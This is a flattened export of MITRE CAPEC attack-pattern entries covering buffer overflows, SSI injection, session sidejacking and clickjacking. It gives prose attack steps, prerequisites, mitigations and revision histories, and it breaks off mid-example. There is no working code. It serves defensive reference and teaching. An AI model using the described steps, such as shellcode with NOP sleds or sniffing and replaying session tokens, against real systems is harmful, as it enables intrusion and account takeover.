+ + + + #indConsequenceConsequence215 + Consequence_215 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence219 + Consequence_219 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not expose environment variable to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not use untrusted data in your environment variables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are tools such as Sharefuzz [REF-2] which is an environment variable fuzzer for Unix that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. See also: CVE-1999-0906&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow in the rlogin program involves its consumption of the $TERM environmental variable. See also: CVE-1999-0046&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 120 + + + + + 302 + + + + + 118 + + + + + 119 + + + + + 74 + + + + + 99 + + + + + 20 + + + + + 680 + + + + + 733 + + + + + 697 + + + + + + + + + + + + #indTaxonomyMappingBufferOverflowViaEnvironmentVariables + Buffer Overflow via Environment Variables + + + + + + + + + + + + + + Buffer Overflow via Environment Variables + + + + + + + + + + + + #indReferenceReference258 + Reference_258 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference259 + Reference_259 + + + + + + + + + REF-2 + + + + + + + + + + + + #indContentHistoryContentHistory261 + Content_History_261 + + + + + + + + + + + + + + + + #indSubmissionSubmission262 + Submission_262 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification267 + Modification_267 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification273 + Modification_273 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification279 + Modification_279 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification285 + Modification_285 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification291 + Modification_291 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification297 + Modification_297 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification303 + Modification_303 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-100 + Overflow Buffers + + + + + + + + + 100 + + + + + Overflow Buffers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern316 + Related_Attack_Pattern_316 + + + + + + + + + + + + + + 123 + + + + + + + + + + + + #indAttackStepAttackStep319 + Attack_Step_319 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overflow on. Adversaries often look for applications that accept user input and that perform manual memory management.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep324 + Attack_Step_324 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Provide large input to a program or application and observe the behavior. If there is a crash, this means that a buffer overflow attack is possible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep330 + Attack_Step_330 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep337 + Attack_Step_337 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary injects the crafted overflow content into the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software performs buffer operations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software inadequately performs bounds-checking on buffer operations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary has the capability to influence the input to buffer operations.</xhtml:div> + + + + + + + + + + + + #indSkillSkill349 + Skill_349 + + + + + + + + + + + + + + In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content. + + + + + + + + + + + + #indSkillSkill350 + Skill_350 + + + + + + + + + + + + + + In cases of directed overflows, where the motive is to divert the flow of the program or application as per the adversaries' bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack designed to leverage a buffer overflow and redirect execution as per the adversary's bidding is fairly difficult to detect. An attack aimed solely at bringing the system down is usually preceded by a barrage of long inputs that make no sense. In either case, it is likely that the adversary would have resorted to a few hit-or-miss attempts that will be recorded in the system event logs, if they exist.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence359 + Consequence_359 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence363 + Consequence_363 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence370 + Consequence_370 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use secure functions not vulnerable to buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If you have to use dangerous functions, make sure that you do boundary checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an adversary not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process.</xhtml:div> + + + + + 120 + + + + + 119 + + + + + 131 + + + + + 129 + + + + + 805 + + + + + 680 + + + + + + + + + + + + #indTaxonomyMappingBufferOverflow + Buffer Overflow + + + + + + + + + + + + + + 07 + + + + + Buffer Overflow + + + + + + + + + + + + #indTaxonomyMappingBufferOverflowAttack + Buffer overflow attack + + + + + + + + + + + + + + Buffer overflow attack + + + + + + + + + + + + #indReferenceReference407 + Reference_407 + + + + + + + + + REF-620 + + + + + Buffer Overflow + + + + + + + + + + + + #indContentHistoryContentHistory409 + Content_History_409 + + + + + + + + + + + + + + + + #indSubmissionSubmission410 + Submission_410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification415 + Modification_415 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification421 + Modification_421 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Indicators-Warnings_of_Attack, Probing_Techniques, Related_Vulnerabilities, Resources_Required + + + + + + + + + + + + #indModificationModification427 + Modification_427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification433 + Modification_433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification439 + Modification_439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-101 + Server Side Include (SSI) Injection + + + + + + + + + 101 + + + + + Server Side Include (SSI) Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern453 + Related_Attack_Pattern_453 + + + + + + + + + + + + + + 253 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern454 + Related_Attack_Pattern_454 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indAttackStepAttackStep457 + Attack_Step_457 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine applicability] The adversary determines whether server side includes are enabled on the target web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for popular page file names. The attacker will look for .shtml, .shtm, .asp, .aspx, and other well-known strings in URLs to help determine whether SSI functionality is enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fetch .htaccess file. In Apache web server installations, the .htaccess file may enable server side includes in specific locations. In those cases, the .htaccess file lives inside the directory where SSI is enabled, and is theoretically fetchable from the web server. Although most web servers deny fetching the .htaccess file, a misconfigured server will allow it. Thus, an attacker will frequently try it.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep464 + Attack_Step_464 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find Injection Point] Look for user controllable input, including HTTP headers, that can carry server side include directives to the web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep471 + Attack_Step_471 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject SSI] Using the found injection point, the adversary sends arbitrary code to be inlcuded by the application on the server side. They may then need to view a particular page in order to have the server execute the include directive and run a command or open a file on behalf of the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A web server that supports server side includes and has them enabled</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User controllable input that can carry include directives to the web server</xhtml:div> + + + + + + + + + + + + #indSkillSkill482 + Skill_482 + + + + + + + + + + + + + + The attacker needs to be aware of SSI technology, determine the nature of injection and be able to craft input that results in the SSI directives being executed. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. Determining whether the server supports SSI does not require special tools, and nor does injecting directives that get executed. Spidering tools can make the task of finding and following links easier.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence488 + Consequence_488 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence492 + Consequence_492 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Set the OPTIONS IncludesNOEXEC in the global access.conf file or local .htaccess (Apache) file to deny SSI execution in directories that do not need them</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All user controllable input must be appropriately sanitized before use in the application. This includes omitting, or encoding, certain characters or strings that have the potential of being interpreted as part of an SSI directive</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server Side Includes must be enabled only if there is a strong business reason to do so. Every additional component enabled on the web server increases the attack surface as well as administrative overhead</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the "Options Includes" directive enabled.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When these logs are eventually reviewed, the server parses the SSI directives and executes them.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 97 + + + + + 74 + + + + + 20 + + + + + + + + + + + + #indTaxonomyMappingSSIInjection + SSI Injection + + + + + + + + + + + + + + 36 + + + + + SSI Injection + + + + + + + + + + + + #indTaxonomyMappingServerSideIncludesInjection + Server-Side Includes (SSI) Injection + + + + + + + + + + + + + + Server-Side Includes (SSI) Injection + + + + + + + + + + + + #indReferenceReference527 + Reference_527 + + + + + + + + + REF-610 + + + + + Testing for SSI Injection + + + + + + + + + + + + #indContentHistoryContentHistory529 + Content_History_529 + + + + + + + + + + + + + + + + #indSubmissionSubmission530 + Submission_530 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification535 + Modification_535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification541 + Modification_541 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification547 + Modification_547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification553 + Modification_553 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification559 + Modification_559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-102 + Session Sidejacking + + + + + + + + + 102 + + + + + Session Sidejacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern572 + Related_Attack_Pattern_572 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indAttackStepAttackStep575 + Attack_Step_575 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Detect Unprotected Session Token Transfer] The attacker sniffs on the wireless network to detect unencrypted traffic that contains session tokens.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker uses a network sniffer tool like ferret or hamster to monitor the wireless traffic at a WiFi hotspot while examining it for evidence of transmittal of session tokens in unencrypted or recognizably encrypted form. An attacker applies their knowledge of the manner by which session tokens are generated and transmitted by various target systems to identify the session tokens.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep581 + Attack_Step_581 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Capture session token] The attacker uses sniffing tools to capture a session token from traffic.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep586 + Attack_Step_586 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Insert captured session token] The attacker attempts to insert a captured session token into communication with the targeted application to confirm viability for exploitation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep591 + Attack_Step_591 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Session Token Exploitation] The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker and the victim are both using the same WiFi network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim has an active session with a target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim is not using a secure channel to communicate with the target system (e.g. SSL, VPN, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim initiated communication with a target system that requires transfer of the session token or the target application uses AJAX and thereby periodically "rings home" asynchronously using the session token</xhtml:div> + + + + + + + + + + + + #indSkillSkill604 + Skill_604 + + + + + + + + + + + + + + Easy to use tools exist to automate this attack. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A packet sniffing tool, such as wireshark, can be used to capture session information.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence610 + Consequence_610 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence616 + Consequence_616 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence620 + Consequence_620 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence624 + Consequence_624 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure that HTTPS is used to communicate with the target system. Alternatively, use VPN if possible. It is important to ensure that all communication between the client and the server happens via an encrypted secure channel.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify the session token with each transmission and protect it with cryptography. Add the idea of request sequencing that gives the server an ability to detect replay attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the hotspot, they has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but their e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account.</xhtml:div> + + + + + 294 + + + + + 522 + + + + + 523 + + + + + 319 + + + + + 614 + + + + + + + + + + + + #indContentHistoryContentHistory643 + Content_History_643 + + + + + + + + + + + + + + + + #indSubmissionSubmission644 + Submission_644 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification649 + Modification_649 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification655 + Modification_655 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification661 + Modification_661 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #CAPEC-103 + Clickjacking + + + + + + + + + 103 + + + + + Clickjacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary tricks a victim into unknowingly initiating some action in one system while interacting with the UI from a seemingly completely different, usually an adversary controlled or intended, system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;While being logged in to some target system, the victim visits the adversary's malicious site which displays a UI that the victim wishes to interact with. In reality, the clickjacked page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most certainly undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern677 + Related_Attack_Pattern_677 + + + + + + + + + + + + + + 173 + + + + + + + + + + + + #indAttackStepAttackStep680 + Attack_Step_680 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft a clickjacking page] The adversary utilizes web page layering techniques to try to craft a malicious clickjacking page</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leveraged iframe overlay capabilities to craft a malicious clickjacking page</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leveraged Flash file overlay capabilities to craft a malicious clickjacking page</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leveraged Silverlight overlay capabilities to craft a malicious clickjacking page</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary leveraged cross-frame scripting to craft a malicious clickjacking page</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep689 + Attack_Step_689 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Adversary lures victim to clickjacking page] Adversary utilizes some form of temptation, misdirection or coercion to lure the victim to loading and interacting with the clickjacking page in a way that increases the chances that the victim will click in the right areas.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lure the victim to the malicious site by sending the victim an e-mail with a URL to the site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lure the victim to the malicious site by manipulating URLs on a site trusted by the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Lure the victim to the malicious site through a cross-site scripting attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep697 + Attack_Step_697 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Trick victim into interacting with the clickjacking page in the desired manner] The adversary tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hide action controls over very commonly used functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hide action controls over very psychologically tempting content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim is communicating with the target application via a web based UI and not a thick client</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim's browser security policies allow at least one of the following JavaScript, Flash, iFrames, ActiveX, or CSS.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim has an active session with the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system</xhtml:div> + + + + + + + + + + + + #indSkillSkill713 + Skill_713 + + + + + + + + + + + + + + Crafting the proper malicious site and luring the victim to this site are not trivial tasks. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence719 + Consequence_719 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence725 + Consequence_725 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence729 + Consequence_729 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence733 + Consequence_733 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Turn off JavaScript, Flash and disable CSS.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When maintaining an authenticated session with a privileged target system, do not use the same browser to navigate to unfamiliar sites to perform other activities. Finish working with the target system and logout first before proceeding to other tasks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which they 